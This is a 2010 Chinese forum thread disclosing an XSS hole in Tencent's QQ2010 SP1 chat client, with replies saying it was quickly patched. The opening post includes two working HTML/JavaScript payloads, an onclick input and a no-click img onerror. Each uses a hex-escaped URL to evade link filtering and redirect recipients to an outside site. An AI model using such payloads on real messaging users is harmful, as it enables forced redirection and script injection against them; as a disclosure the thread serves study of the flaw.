[QQ新闻]QQ腾讯2010SP1发布即现严重漏洞 [复制链接]

腾讯QQ一向是腾讯主打的产品，意想不到前天发布的QQ2010Sp1竟然有如此大漏洞。
##脚本出错还会提示


1、消息记录的Javascript、Html标签没有屏蔽

2、消息盒子Javascript、Html标签没有屏蔽

3、小实验
发送代码：<input onclick="window.location=’\x68\x74\x74\x70\x3a\x2f\x2f\x77\x77\x77\x2e\x62\x6f\x77\x6f\x73\x2e\x63\x6f\x6d’" />
因为腾讯会自动将url转换，我们必须混淆url才能发送



4、超牛代码
<img src=’tetet’ onerror="window.location=’\x68\x74\x74\x70\x3a\x2f\x2f\x77\x77\x77\x2e\x62\x6f\x77\x6f\x73\x2e\x63\x6f\x6d’"/>
因为要点击才能触发，想到一个不用点击就能触发的代码。
5、希望腾讯快点修复，这个漏洞非同小可
6、本漏洞由TGL发现。

注意，本代码仅供研究之用，请勿用于违法事情。

腾讯的危机应急能力很高。在14:56:32秒已经打包新版本并在首页提供下载。一个小风波就在几个小时静悄悄的来，静悄悄的走了。
希望腾讯以后也不要犯低级错误咯，如果还发现有Bug，可以重新下载QQ2010 SP1。
MsgMgr.dll是元凶，已经在14:02:54秒重新签名，漏洞提交给腾讯为早上9点。

晕~又更新了呀!

漏洞严重

学习了   

当小白鼠就要做好被消灭的准备。

在IM看过了

腾讯已经修正了

引用第6楼沉浮大哥于2010-07-29 11:43发表的 :
腾讯已经修正了 

已经悄悄更新了


 

赖人还用着2009 一般都是等到提示不能用了才升级

用户被禁言,该主题自动屏蔽!